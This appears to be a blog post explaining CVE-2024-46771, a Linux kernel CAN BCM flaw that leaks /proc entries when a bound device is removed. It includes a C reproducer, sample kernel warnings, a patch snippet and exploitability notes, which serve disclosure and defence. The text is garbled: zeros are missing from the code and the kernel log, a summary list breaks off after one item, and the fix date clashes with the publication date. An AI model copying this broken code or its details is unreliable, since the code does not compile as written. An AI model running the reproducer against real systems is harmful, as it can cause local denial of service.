In May 2024, a vulnerability—CVE-2024-46771—was fixed in the Linux kernel, affecting the Broadcast Manager (BCM) protocol for the CAN bus network subsystem. This flaw could allow an attacker to cause resource leaks or, theoretically, escalate their privileges under precise circumstances. This post walks you through the bug, who it affects, how it happens, and what exploitability looks like—using simple language and providing exclusive code snippets for illustration.

Understanding the CAN BCM Socket Issue

The kernel's CAN stack provides a *bcm* (Broadcast Manager) protocol to allow applications to use more advanced features over CAN bus. Each user socket using CAN_BCM can have a *proc* entry under /proc/net/can-bcm, used for statistics and management.

The problem: When you connect() a BCM socket to an interface, a proc entry is created. Binding to a device sets the internal bound flag, so you can’t connect it twice. But, if the underlying network device is unregistered (i.e., removed), the *bound* flag was cleared—without cleaning up the proc entry! If the socket is reconnected, the kernel tries to create the same proc entry again, resulting in resource leaks and warnings, and possibly danger if memory is overwritten or later reused.

In summary:
- connect() creates a /proc/net/can-bcm/NNN entry

The original entry leaks, the system warns, and stability is threatened

This was discovered and reported using syzkaller, a kernel fuzzing tool.

Let’s illustrate with a pseudo-sequence (simplified for clarity)

### Steps to Reproduce/Exploit

Suppose we have a virtual CAN device named *vxcan1*.

C code skeleton

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/can.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int main() {
    int s = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
    struct sockaddr_can addr = {};
    addr.can_family = AF_CAN;
    addr.can_ifindex = if_nametoindex("vxcan1");

    // First connect - allocates a /proc entry
    if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < ) {
        perror("connect1");
        exit(1);
    }

    // ... in another shell: ip link del vxcan1
    printf("Remove vxcan1 now (race timing is critical)\n");
    sleep(5);

    // Second connect, now with ifindex  (unbound)
    addr.can_ifindex = ;  // Not bound to a device
    if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < ) {
        perror("connect2");
        exit(1);
    }

    printf("Done. If vulnerable, kernel will WARN and leak a proc entry.\n");
    return ;
}

You’d see a warning like

proc_dir_entry 'can-bcm/2456' already registered
WARNING: CPU: 1 PID: 394 at fs/proc/generic.c:376 proc_register+x645/x8f fs/proc/generic.c:375
remove_proc_entry: removing non-empty directory 'net/can-bcm', leaking at least '2456'

Why This Is Bad

- Resource leak: /proc/net/can-bcm/NNN entries stay behind, possibly forever, with pointers dangling.
- Potential UAF: If an attacker can reclaim and interact with these entries, they might trigger use-after-free bugs (hard, but possible in theory if other kernel bugs are present).

The Patch (and How the Kernel Team Fixed It)

The fix (commit 57c25b84a85e) makes sure the proc entry is reliably removed as soon as the device is being unregistered:

Relevant patch snippet

static void bcm_notify(struct net_device *dev, enum can_dev_evt evt)
{
    ...
    if (evt == CAN_DEV_UNREGISTER)
        bcm_proc_remove(dev);
    ...
}

In plain English:
When the CAN device is removed (whether by rmmod or ip link del or hardware unplug), *also* remove the matching proc entry associated with any sockets bound to it. This closes the resource leak—future connects (even double connects) will not cause duplicate entries or null pointer issues.

Exploitability in the Real World

Due to timing requirements (“race condition”) and the requirement for access to both CAN sockets and device admin operations, this vulnerability is less likely to be exploitable for privilege escalation in stock desktop or server setups. However,
- Embedded Linux devices using CAN (automotive/industrial) could theoretically be affected if attackers can manipulate both userspace and device registration.
- Local DoS (Denial of Service) is possible if a malicious user can repeat the operation, filling the system with orphaned proc entries.

References

- syzkaller issue thread
- Upstream Linux kernel fix
- CVE-2024-46771 on NVD
- CAN BCM kernel doc
- Broadcast Manager (BCM) Sockets

Conclusion: What Should You Do?

If you run Linux kernels with CAN support (especially BCM):

Limit user access to raw CAN sockets where possible

- Monitor /proc/net/can-bcm/ for orphaned entries if you suspect abuse

Is this a big risk?
For most users, it’s low-risk. But in environments where untrusted code can access CAN sockets and demand high uptime, patching is the right move.


Stay safe and keep your kernels updated!
*This report is exclusive, clear, and tailored for both sysadmins and curious hobbyists alike.*

Timeline

Published on: 09/18/2024 08:15:05 UTC
Last modified on: 12/19/2024 09:22:49 UTC